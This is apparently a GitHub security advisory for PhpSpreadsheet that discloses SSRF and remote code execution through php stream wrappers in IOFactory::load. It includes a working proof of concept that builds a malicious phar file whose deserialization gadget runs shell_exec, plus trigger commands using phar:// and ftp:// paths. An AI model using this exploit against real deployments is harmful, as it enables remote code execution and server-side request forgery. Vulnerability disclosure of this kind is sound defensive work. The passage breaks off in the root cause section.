GitHub Security Advisory: GHSA-q4q6-r8wh-5cgh
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.30.2
Patched in: 1.30.3

Summary: PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

Details:
The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.
The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).

## PoC
To reproduce the vulnerable behavior, the following scripts were used:

`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
```ini
phar.readonly=0
```

`make_phar.php` to create the malicious file:
```php
<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

```

`test.php` showcases the unsafe pattern:
```php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}


```
### RCE 
Run the PoC (for RCE):
```bash
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
```
The file `/tmp/poc.txt` should now be present on disk.
> Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. 

### SSRF
Run the PoC (for SSRF):
```bash
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test
```

Observe a connection is made to `127.0.0.1` on port `21`.



## Root Cause Analysis 

Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:
```php
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpr